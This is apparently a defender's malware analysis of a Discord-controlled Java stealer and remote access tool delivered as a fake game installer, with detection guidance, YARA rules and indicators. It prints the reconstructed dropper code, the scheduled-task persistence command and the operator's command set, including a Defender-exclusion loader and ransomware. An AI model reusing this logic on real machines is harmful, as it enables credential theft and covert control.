MICROSTEALER 1.2.6: a Discord-bot RAT in a game’s clothing
The second BRITTLE COMPASS build. A Java remote access tool that runs its operator’s commands from a Discord server and keeps a ransomware option.
Assessment. A Java remote access tool and stealer behind an Electron “game” that never opens. It takes orders from a Discord server where each victim gets a channel, and gives the operator a shell, a keylogger, extra download paths and an optional ransomware command. High confidence, from static analysis and lab runs that exercised 11 of its 27 commands.
Anyone who ran it should assume the operator could control the machine, and rebuild it.
Note Source summary. My own static analysis of the 1.2.6 installer and its Java payload, recovered by two methods that agree on the command surface, persistence and branding, plus instrumented lab runs against an emulated Discord server (reliability A, credibility 2: two methods on the same file corroborate each other but aren’t independent sources; see How I rate things). Public reporting from ANY.RUN and BleepingComputer victims for the family name, graded under References. It’s the second of three builds served by the BRITTLE COMPASS lure.
- Type
- malware
- Status
- unknown
- Confidence
- high
- First seen
- 2026-10-14
- Related names
- Micro Stealer, Micro Special Edition, Dev7 Gang
contents
- From the lure to a game that never opens
- Staging: an Electron app that is only a delivery truck
- Inside services.jar
- First run: checking in on Discord
- What it takes automatically
- Staying: a scheduled task for every later logon
- The operator's panel
- Detection and response
- Indicators
- ATT&CK mapping
- References
From the lure to a game that never opens #
Same site, same password, same download button as the 1.2.5 build. This time the installer, <game>-Setup-1.2.6.exe, is 117 MB, and it installs into a random-looking folder, %LOCALAPPDATA%\Programs\jw431rd9\, while the installer’s own screens show the game’s name throughout. Anyone hunting for a folder named after the game misses every one of these machines.
The victim double-clicks the game. Nothing happens. A report of “I ran it and nothing happened” is an accurate description of this build: no window, no error, nothing. Half a second later the Electron process exits, and the malware is already running somewhere else.
Staging: an Electron app that is only a delivery truck #
The application’s app.asar contains exactly two files: a package.json and one obfuscated script, y8e2alfn.js. A real game has hundreds of files in there. Under roughly 190 KB of two obfuscation layers (obfuscator.io inside JS-Confuser), the script does one job. Reconstructed by hand, with every string decoded:
// y8e2alfn.js, reconstructed. The original is ~190 KB of obfuscation around this.
async function main() {
const base = app.isPackaged ? process.resourcesPath : __dirname;
const localApp = process.env.LOCALAPPDATA;
const stage = path.join(localApp, "java"); // %LOCALAPPDATA%\java
fs.cpSync(path.join(base, "java"), path.join(stage, "java"), // a whole Java 17 runtime
{ recursive: true, force: true });
fs.copyFileSync(path.join(base, "services.jar"), // the actual malware
path.join(stage, "services.jar"));
spawn(path.join(stage, "java", "bin", "javaw.exe"),
["-jar", path.join(stage, "services.jar")],
{ detached: true, stdio: "ignore", cwd: stage }).unref();
setTimeout(() => app.quit(), 500); // and the "game" closes
}
app.whenReady().then(main);
(formatted for readability)
So the installer ships a complete Eclipse Temurin 17 runtime (316 files) and an 11.9 MB services.jar, copies both into %LOCALAPPDATA%\java\, and starts the JAR with javaw.exe, which has no console window.
The runtime looks like a stock upstream build. Across both early installers there are 145 Windows executables: 101 are validly signed and verify, none has a broken signature, and the other 44 are unsigned, among them the branded Electron executable and the installer’s own uninstaller stub. None is packed, and I found no operator-compiled native code among them. Signature, packer and import-table triage alone won’t point at the malicious part, which is in the script and the JAR. Manifest changes and where things are put still help (the 1.2.5 page publishes a manifest-based rule).
What a defender can catch here: javaw.exe running from \AppData\Local\java\java\bin\ is the best process signal I have for this build. Java installed the normal way doesn’t use that path, though other software could, so confirm against the JAR’s hash.
Inside services.jar #
The JAR is an obfuscated Kotlin/Java application. Its bundled libraries tell you its job before you decompile anything: Gson for Discord’s API, SQLite JDBC for browser databases, nv-websocket-client for the Discord gateway, OkHttp for Discord’s REST API, and JNA for calling Windows directly.
Three layers of obfuscation sit on top: method calls hidden behind invokedynamic and resolved at runtime from encrypted metadata, AES-CBC string encryption under a PBKDF2-derived key, and control-flow flattening. Driving the obfuscator’s own resolver resolved 11,224 of 11,384 hidden call sites and decrypted 636 strings, including the kit’s branding:
=========<Micro Stealer>==========
Micro Special Edition
DEV7 GANG
zarox-uac zarox-uac2 zarox-unlock MicroPrivate-Mutex-Release Win32-InputLogger
That branding is how the family is tracked publicly: ANY.RUN lists a MicroStealer family [1], though its page aggregates many submissions and I haven’t matched this exact sample to any of them, and victims on BleepingComputer report a “DEV7 GANG” pop-up asking whether they want their accounts back [2].
One more string matters more than the branding. 3,108 of the JAR’s 3,112 class files, third-party libraries included, carry the text MicroFlow 4.0 as their first constant-pool entry. Nothing references it. That looks like a builder watermark, stamped by whatever tool assembled the JAR. It’s a useful pivot for finding other output of the same builder, even without shared infrastructure, but it isn’t a guaranteed identifier of every product of that builder or of its author. I found no public obfuscator by that name.
The payload also refuses to run in some sandboxes: it checks for a QEMU guest agent and for a list of known analysis-service host names.
First run: checking in on Discord #
When the JAR starts, it logs into Discord as a bot, using a bot credential packaged inside the JAR, with the gateway intents for reading messages (33280) and a client identity of java. Then it creates a text channel for this victim on the operator’s server, under a fixed category, named after the victim:
<username>-<hostname> Windows user and computer name, lowercased (lab)
The new channel gets a “System Online (New Channel Created)” message and the full command panel (below). Then the payload collects and ships its first haul, to two places at once:
- a Discord webhook, and
- a Cloudflare Worker relay,
sa.microdenmem.workers[.]dev, under a path built from a licence identifier packaged in the JAR, of the formlicense-<14 digits>-<4 hex>.
A licence-keyed path lets one relay keep many users’ stolen data apart. That fits a kit sold to many customers, which is part of the moderate-confidence commercial-tooling assessment on the actor page. The path itself doesn’t prove a sale.
It does all of this again every time it starts, not just the first time.
What a defender can catch here: javaw.exe connecting to gateway.discord.gg on a normal endpoint, and the HTTP user agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) DiscordBot (Java/17). Uploads use the multipart boundary xMicro.
What it takes automatically #
Less than you’d guess. In the lab, with files planted across every user folder, the automatic collector took a screenshot, browser history and only .txt files from Desktop, Documents and Downloads. It left .env, .pem, .ppk, .ovpn, .rdp, .kdbx, spreadsheets and source code alone, and took nothing from Pictures, Music or Videos.
That’s a real scoping point, with one big caveat: the operator’s !cmd shell can fetch any file the payload’s privileges can reach afterwards, so a machine the operator actually used is not cleared by it.
I found no wallet collector in this build, statically or in the lab. Its report template does have a “Wallets” counter that nothing feeds, so it always reads zero. That could be a leftover from an earlier version, an unfinished or disabled feature, or a copied template; I can’t tell which without code to compare.
Its credential theft is broad: 30 Chromium-family and 15 Gecko-family browsers, Discord tokens lifted from the running client’s memory, and Chrome’s App-Bound Encryption beaten by impersonating lsass.exe to get SYSTEM and calling the CNG key store directly. It kills the browser before copying its databases.
Staying: a scheduled task for every later logon #
The first run doesn’t wait for anything: the dropper starts the JAR immediately. That first run also creates a scheduled task so it starts again at every later logon:
schtasks /create /tn "App_<username>"
/tr "\"%LOCALAPPDATA%\java\java\bin\javaw.exe\" -jar \"%LOCALAPPDATA%\java\services.jar\""
/sc ONLOGON /delay 0000:05 /rl HIGHEST /f
(formatted for readability)
This is the detail that fools triage. After a reboot, with nobody logged in, the payload isn’t running: no process, no network traffic, and the task shows no pending run. A machine in that state looks clean to anyone checking the process list. The moment a user signs in, it fires, re-collects and re-announces itself to the operator. Check the scheduled task, not the process list.
Two more artifacts are useful on a live machine:
%TEMP%\micro_run.lockis the single-instance lock. It stays after the process exits, so it means “has run”, not “is running”.- In the lab, each start extracted a fresh copy of the SQLite library to
%TEMP%\sqlite-3.45.1.0-<GUID>-sqlitejdbc.dlland never deleted it. Several copies are a supporting sign of repeated runs, not an exact count: other Java software uses the same library and name, and cleanup or failed starts change the tally. Correlate the DLL’s hash and timestamps with process events.
The operator’s panel #
This is what the operator sees in each victim’s channel, captured verbatim from the payload’s own help output. The descriptions are the operator’s wording; the right-hand column is what each command did to a real Windows host in the lab, checked against the registry, file system, scheduled tasks and Defender configuration rather than taken from the payload’s reply.
| Command | Operator’s description | Effect, checked on the host |
|---|---|---|
!info |
System info | System summary returned |
!net |
Network & Wi-Fi Passwords | Dumps saved Wi-Fi profiles with netsh; returns nothing on a machine without Wi-Fi |
!clipboard [text] |
View/Set clipboard | Clipboard returned |
!log |
Key & Window logger (toggle) | Keylogger started, tagging keystrokes with window titles |
!ss |
Screenshot | Screenshot delivered |
!otoss [screen] |
Auto screenshot (toggle) | Not exercised |
!relog |
Reconnect bot | Not exercised |
!cmd [command] |
Run shell command | Arbitrary command execution, full output returned |
!sil [app] |
Uninstall application (e.g. Steam, Minecraft) | Not exercised; uses winget uninstall --silent |
!shutdown |
Shutdown computer | Not exercised |
!botkapat |
Stop bot | Not exercised |
!komutlar |
(prints this panel) | Sent on channel creation |
!lock |
Lock screen | Not exercised |
!task |
Toggle Task Manager & Regedit | Set DisableTaskMgr=1 and DisableRegistryTools=1 |
!kill [exe] |
Terminate process | Not exercised; taskkill /F /IM |
!sıfırlama |
Toggle WinRE Recovery | Hid the recovery settings page and ran reagentc /disable |
!inject |
Discord token inject | Reported success on a machine with no Discord installed and changed nothing |
!wp [url] |
Change desktop wallpaper | Downloaded the URL to %APPDATA%\Microsoft\Windows\Themes\wallpaper.bmp: a second download path |
!alert [message] |
Show alert popup | Not exercised |
!msg [message] |
Send chat message | Not exercised; opens an operator chat window on the victim’s screen |
!audio [sec] |
Record microphone audio (1–30s) | Not exercised |
!tts [text] |
Text-to-Speech | Not exercised; PowerShell speech synthesis |
!web [url] |
Open site in browser | Not exercised |
!open [app] |
Open application | Not exercised |
!micro [key] |
Encrypt files | Deliberately not run. Renames files to .cryptedmicro, key derived from the operator’s passphrase |
!unmicro [key] |
Decrypt files | Deliberately not run |
!cookie [exeUrl] [webhookUrl] |
Download exe → Exclude Defender → Execute → Send data.zip to webhook | Saved the download as %LOCALAPPDATA%\svchost<epoch_ms>.exe and excluded all of %LOCALAPPDATA% from Defender |
A few things in there deserve a second look.
!inject lies. It reported “Discord injected and logged out” on a machine with no Discord. The operator’s channel is not evidence of what happened on the machine, and that includes channel history obtained from Discord later. Confirm effects on the host.
!cookie is a loader. It downloads and runs another program after excluding the whole local application data folder from Microsoft Defender. Combined with !cmd and !wp, the operator has three ways to put new software on the machine.
Turkish command names. botkapat (“close bot”), komutlar (“commands”) and sıfırlama (“reset”) sit next to English help text. I assess with low confidence that the kit’s author works in Turkish. Command names are cheap to copy and a kit sold internationally would look the same, so this is context, not attribution.
The ransomware is real but manual. It only runs when the operator types !micro with a passphrase, and the key is derived from that passphrase. Victims of .cryptedmicro encryption have been getting help in a BleepingComputer support topic [2].
Detection and response #
To confirm this build, check for the scheduled task App_<username> running javaw.exe -jar from %LOCALAPPDATA%\java\. It’s the most reliable indicator, and it’s there even when nothing is running. A Defender exclusion covering %LOCALAPPDATA% is consistent with the operator’s !cookie command, which adds that exclusion before downloading another program. Other software, an administrator or an earlier infection could set the same exclusion, and the download can fail after it’s set. Before concluding !cookie ran, correlate Defender’s configuration-change events, process ancestry, a %LOCALAPPDATA%\svchost<digits>.exe file and network activity.
If it’s there, or if it might have run, do these now, in order:
- Take the machine off the network. If files have been renamed to
.cryptedmicro, keep it powered on and preserve them. - From a different, clean device, sign out every session using each provider’s own controls, then change passwords: email first, then Discord, then everything saved in the browser. A password change doesn’t reliably end existing sessions.
- On Discord, from that clean device, sign out every session, then remove and re-enroll two-factor so a new secret is issued.
- Rebuild the machine. This build supports remote commands, a Defender exclusion and three ways to download and run more software, so removing the original malware can’t establish that the machine is clean. That’s the response posture; whether the operator actually used the shell on this machine is a separate question that only host or network evidence answers.
- If a rebuild has to wait, remove persistence explicitly: end
javaw.exe, delete the task, delete%LOCALAPPDATA%\java\, re-enable Task Manager, Registry Editor and Windows recovery, remove the Defender exclusion, and uninstall Discord with its data deleted. Uninstalling the “game” isn’t enough, because the installer leaves a full copy of itself at%LOCALAPPDATA%\*-updater\installer.exe.
Across an estate, sweep for modified Discord clients (see the 1.2.5 page) and hunt for Electron apps that ship a private Java runtime next to a JAR. That combination is unusual; treat a hit as a lead and confirm with hashes.
| Signal | Telemetry | Notes |
|---|---|---|
javaw.exe from \AppData\Local\java\java\bin\ |
Process creation | Very high confidence |
Task App_*, ONLOGON, highest run level, action runs a .jar |
Task creation, TaskScheduler log | Very high; survives reboots |
New Defender exclusion naming %LOCALAPPDATA% |
Registry | High; set by !cookie in the lab, but other software can set it too |
%LOCALAPPDATA%\svchost<digits>.exe |
File creation | Very high; svchost outside System32 |
Several %TEMP%\sqlite-*-sqlitejdbc.dll |
File system | Medium; supporting sign of repeated runs, shared with other Java software |
DisableTaskMgr, DisableRegistryTools, recovery hidden or disabled |
Registry, reagentc /info |
High; operator-triggered |
Process opening lsass.exe, then reading Chrome’s key store |
Sysmon EID 10 | High |
javaw.exe connecting to gateway.discord.gg |
Network, TLS SNI | High on a normal endpoint |
User agent DiscordBot (Java/17), multipart boundary xMicro |
Proxy with TLS inspection | High where inspection exists |
YARA #
Each rule matched its target. They have not been tested against a broad benign corpus; tune before production use. The watermark rules only work on expanded JARs or process memory, because the classes are compressed on disk.
rule MICROSTEALER_Services_Jar
{
meta:
description = "MICROSTEALER services.jar, by ZIP entry names (stored uncompressed): obfuscated root package plus the licence and category resources"
sha256 = "034c9ac2fae38e38838e6dab23648b4e0b46ec73176bc12eb3147a10ba41add6"
strings:
$pkg = "lIiiIiIlill/" ascii
$l = "a/b/l.txt" ascii
$m = "a/b/m.txt" ascii
condition:
uint32(0) == 0x04034B50 and all of them
}
rule MICROFLOW_Builder_Watermark_Class
{
meta:
description = "'MicroFlow 4.0' builder watermark as constant-pool entry #1 of a Java class. Identifies the builder, not this operator"
strings:
$wm = { 01 00 17 4D 69 63 72 6F 46 6C 6F 77 20 34 2E 30 20 20 20 20 20 20 20 20 20 20 }
condition:
uint32be(0) == 0xCAFEBABE and $wm at 10
}
rule MICROSTEALER_Branding_Memory
{
meta:
description = "MICROSTEALER self-identifying strings. Encrypted on disk; matches javaw.exe memory, memory images and stolen-data staging files"
strings:
$b1 = "=========<Micro Stealer>==========" ascii
$b2 = "Micro Special Edition" ascii
$b3 = ".cryptedmicro" ascii
$b4 = "boundary=xMicro" ascii
$b5 = "DEV7 GANG" ascii
$b6 = "zarox-uac" ascii
$b7 = "zarox-unlock" ascii
$b8 = "micro_run.lock" ascii
$b9 = "MicroPrivate-Mutex-Release" ascii
condition:
2 of them
}
rule MICROSTEALER_Discord_Injection_Dropped
{
meta:
description = "The readable JavaScript MICROSTEALER writes over discord_desktop_core\\index.js"
strings:
$a = "Micro Special Edition" ascii
$b = "remote-auth-gateway.discord.gg" ascii
$c = "savedTotpSecret" ascii
$d = "require('./core.asar')" ascii
$e = "/mfa/codes-verification" ascii
condition:
filesize < 4MB and 3 of them
}
Indicators #
| Type | Indicator | Context | First seen (UTC) |
|---|---|---|---|
| SHA-256 | dc6967987e47d05e936615203365033f6e6dfdc063f64d6627c86c0d4cbdcad4 |
Installer, <game>-Setup-1.2.6.exe, 117,080,190 bytes |
2026-10-14 |
| SHA-256 | ebc31f83d0ff5b99160294a2155b63a36d55dea8e2454fddc1c3445b9166fc7c |
app.asar, 192,863 bytes |
2026-10-14 |
| SHA-256 | ac2a4a82cd7c2667738b8d402125054f681db3bf54182ac790e4d0382a48d7d4 |
y8e2alfn.js dropper, 192,211 bytes |
2026-10-14 |
| SHA-256 | 034c9ac2fae38e38838e6dab23648b4e0b46ec73176bc12eb3147a10ba41add6 |
services.jar, 11,932,613 bytes |
2026-10-14 |
| SHA-256 | d7098290c4f013c6cbfb731e4db28053e377fdd34f3a41811eccfb485c3efb49 |
sqlitejdbc.dll extracted to %TEMP% at each start in the lab (genuine library; the location is the signal) |
2026-10-14 |
| MD5 | b374fa7831cae0910a2ff999461c359e |
Installer | 2026-10-14 |
| Type | Indicator | Context | First seen (UTC) |
|---|---|---|---|
| Discord bot ID | 1549139876107132988 |
Bot account; created 2026-09-14 per its snowflake | 2026-10-14 |
| Discord server ID | 1554211553115512832 |
Operator’s server; created 2026-09-28 | 2026-10-14 |
| Discord channel ID | 1556853802580049920 |
Category holding the per-victim channels; created 2026-10-06 | 2026-10-14 |
| Discord webhook ID | 1558338561630150676 |
Receives the stolen-data archive; created 2026-10-10 | 2026-10-14 |
| Hostname | sa.microdenmem.workers[.]dev |
Exfiltration relay, path /m/license-<14 digits>-<4 hex> |
2026-10-14 |
| URL | wss://gateway.discord[.]gg/?v=10&encoding=json |
Discord gateway, used as the command channel | 2026-10-14 |
| User agent | Mozilla/5.0 (Windows NT 10.0; Win64; x64) DiscordBot (Java/17) |
Discord REST and gateway | 2026-10-14 |
| String | xMicro |
Multipart boundary on uploads | 2026-10-14 |
| Type | Indicator | Context |
|---|---|---|
| Path | %LOCALAPPDATA%\java\ |
Staging: private Temurin 17 runtime plus services.jar |
| Path | %LOCALAPPDATA%\Programs\jw431rd9\ |
Install directory; random name, not the game’s |
| Path | %LOCALAPPDATA%\svchost<epoch_ms>.exe |
Program downloaded by !cookie |
| Path | %LOCALAPPDATA%\*-updater\installer.exe |
Installer copy; survives uninstall |
| Path | %APPDATA%\jw431rd9\, %APPDATA%\<game>\ |
Application data; survive uninstall |
| Path | %TEMP%\micro_run.lock |
Single-instance lock; stays after exit |
| Path | %TEMP%\sqlite-3.45.1.0-<GUID>-sqlitejdbc.dll |
One per start in the lab; never removed |
| Task | App_<username> |
ONLOGON, highest run level, 5-second delay |
| Registry | HKCU\...\Policies\System\DisableTaskMgr = 1, DisableRegistryTools = 1 |
Set by !task |
| Registry | HKCU\...\Policies\Explorer\SettingsPageVisibility = hide:recovery |
Set by !sıfırlama |
| Registry | HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\<%LOCALAPPDATA%> |
Set by !cookie |
| Command | reagentc /disable |
Disables Windows recovery |
| String | Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} |
CMSTPLUA UAC-bypass moniker in the code |
| Extension | .cryptedmicro |
Ransomware output |
| String | com.eyl0muq.akkuoc |
AppUserModelID |
| GUID | 2c6bc19a-fb96-5252-b697-8ee3f94fc223 |
Installer GUID |
ATT&CK mapping #
| Tactic | Technique | Procedure |
|---|---|---|
| Execution | User Execution: Malicious File (T1204.002) | Fake game installer |
| Execution | Command and Scripting Interpreter: Windows Command Shell (T1059.003) | !cmd |
| Persistence | Scheduled Task/Job: Scheduled Task (T1053.005) | App_<username> at logon |
| Persistence | Compromise Host Software Binary (T1554) | Discord client modification |
| Privilege Escalation | Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002) | CMSTPLUA and other routines in the code |
| Defense Evasion | Obfuscated Files or Information (T1027) | Hidden calls, encrypted strings, flattened control flow |
| Defense Evasion | Impair Defenses: Disable or Modify Tools (T1562.001) | Defender exclusion, Task Manager and Registry Editor disabled |
| Defense Evasion | Hide Artifacts: Hidden Window (T1564.003) | javaw.exe, no window |
| Defense Evasion | Masquerading: Match Legitimate Name or Location (T1036.005) | svchost<digits>.exe in %LOCALAPPDATA% |
| Defense Evasion | Virtualization/Sandbox Evasion (T1497) | QEMU guest-agent and host-name checks |
| Impact | Inhibit System Recovery (T1490) | reagentc /disable |
| Impact | Data Encrypted for Impact (T1486) | !micro, .cryptedmicro |
| Credential Access | Credentials from Web Browsers (T1555.003) | 45 browsers, App-Bound Encryption bypass |
| Credential Access | Credentials from Password Stores (T1555) | Saved Wi-Fi profiles |
| Collection | Input Capture: Keylogging (T1056.001) | !log |
| Collection | Screen Capture (T1113), Audio Capture (T1123), Clipboard Data (T1115) | !ss, !audio, !clipboard |
| Command and Control | Web Service: Bidirectional Communication (T1102.002) | Discord bot and per-victim channels |
| Command and Control | Ingress Tool Transfer (T1105) | !cookie, !wp |
| Exfiltration | Exfiltration Over Web Service (T1567) | Discord webhook and the Cloudflare Worker relay |
References #
- ANY.RUN, “MicroStealer” malware trends page. any.run (opens in a new tab) (B2 for the family label; not a match to this sample)
- BleepingComputer forums, “Stealer Ransomware Plugin-Dev7 Gang (.cryptedmicro) Support Topic”. bleepingcomputer.com (opens in a new tab) (F3: victim reports)